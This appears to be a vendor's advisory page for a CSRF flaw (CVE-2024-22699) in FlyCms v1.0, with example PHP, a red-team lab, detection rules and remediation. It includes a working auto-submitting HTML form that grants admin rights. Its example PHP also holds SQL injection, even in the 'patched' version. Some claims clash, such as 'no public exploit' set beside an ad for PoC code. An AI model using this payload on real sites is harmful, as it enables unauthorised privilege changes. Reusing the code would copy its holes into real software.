CVE-2024-22699
Executive Summary
CVE-2024-22699 identifies a Cross-Site Request Forgery (CSRF) vulnerability in FlyCms v1.0, specifically within the /system/admin/update_group_save endpoint. This flaw allows an attacker to trick an authenticated administrator into unknowingly executing unwanted actions, such as modifying user group permissions. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as a medium-severity CSRF issue. No official patch has been released by the vendor, and no public exploit code is available. The attack vector is network-based, requires user interaction, and has low complexity.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not associated with a package manager (NPM, PyPI, Go, Ruby). FlyCms is a standalone PHP application. The risk is limited to direct deployments of the software.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) - The attack is carried out over the network.
- Attack Complexity (AC): Low (L) - No special conditions are required.
- Privileges Required (PR): None (N) - The attacker does not need to be authenticated.
- User Interaction (UI): Required (R) - The victim must click a malicious link or visit a crafted page.
- Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
- Confidentiality (C): None (N) - No data is directly exposed.
- Integrity (I): Low (L) - The attacker can modify group settings.
- Availability (A): None (N) - No impact on system availability.
Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the lack of a patch makes it a persistent threat.
Deep Dive & Mechanics
The vulnerability resides in the update_group_save function within the admin panel of FlyCms v1.0. This function is responsible for updating user group permissions. The application fails to implement any anti-CSRF tokens or origin validation on the POST request to /system/admin/update_group_save. As a result, an attacker can craft a malicious HTML page that, when visited by an authenticated admin, submits a forged request to modify group permissions.
The attack flow:
- Attacker crafts a malicious HTML page containing a form that auto-submits to
/system/admin/update_group_savewith modified parameters (e.g., granting admin privileges to a low-privilege group). - Attacker lures an authenticated admin to visit this page (e.g., via phishing email or social engineering).
- The admin's browser sends the forged POST request with the admin's session cookie.
- The server processes the request, altering group permissions without the admin's consent.
Vulnerable vs. Patched Code
Vulnerable Code (FlyCms v1.0): The vulnerable endpoint likely lacks CSRF protection. A typical vulnerable PHP snippet might look like:
// /system/admin/update_group_save
if ($_POST['submit']) {
$group_id = $_POST['group_id'];
$permissions = $_POST['permissions'];
// Update database without checking CSRF token
$db->query("UPDATE groups SET permissions='$permissions' WHERE id=$group_id");
}
Patched Code (Hypothetical): A patched version would include a CSRF token validation:
// /system/admin/update_group_save
session_start();
if ($_POST['submit'] && $_POST['csrf_token'] === $_SESSION['csrf_token']) {
$group_id = intval($_POST['group_id']);
$permissions = $db->real_escape_string($_POST['permissions']);
$db->query("UPDATE groups SET permissions='$permissions' WHERE id=$group_id");
} else {
die('CSRF token validation failed.');
}
Exploitation & Lab Setup
Red Team
Lab Setup:
- Install FlyCms v1.0 on a local server (e.g., XAMPP or Docker).
- Create an admin account and log in.
- Craft the following HTML file (csrf_exploit.html):
<html>
<body>
<form action="http://target.com/system/admin/update_group_save" method="POST">
<input type="hidden" name="group_id" value="2">
<input type="hidden" name="permissions" value="admin">
<input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
- Host this file on an attacker-controlled server.
- Send the link to the admin (simulated via social engineering).
- Once the admin visits the page, the group permissions are modified.
Note: No public exploit code is available; this is a custom PoC.
Blue Team
Detection:
- Monitor for unexpected POST requests to
/system/admin/update_group_savefrom unusual referrers. - Look for rapid changes in group permissions.
- Implement CSRF tokens as a mitigation.
Indicators of Compromise (IOCs)
- Network: HTTP POST requests to
/system/admin/update_group_savewith unexpected parameters. - Logs: Admin activity logs showing unauthorized group permission changes.
- File: Presence of malicious HTML files on admin workstations (e.g., csrf_exploit.html).
Detection Engineering
YARA Rule
rule flycms_csrf_exploit {
meta:
description = "Detects CSRF exploit HTML targeting FlyCms update_group_save"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-22699"
strings:
$action = "/system/admin/update_group_save" nocase
$group_id = "group_id" nocase
$permissions = "permissions" nocase
condition:
all of them
}
Sigma Rule
title: FlyCms CSRF Exploit Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects POST requests to FlyCms update_group_save endpoint without CSRF token
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-stem: '/system/admin/update_group_save'
condition: selection
falsepositives:
- Legitimate admin actions (if CSRF token is missing)
level: medium
Suricata Rule
alert http any any -> any any (msg:"FlyCms CSRF Exploit Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/system/admin/update_group_save"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Implement CSRF tokens on all state-changing forms. Use a unique, unpredictable token per session.
- Short-term: Restrict access to the admin panel via IP whitelisting or VPN.
- Long-term: Upgrade to a patched version if available, or migrate to a supported CMS.
- Compensating Controls: Enable SameSite cookies (Lax or Strict) and validate the Origin/Referer header.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.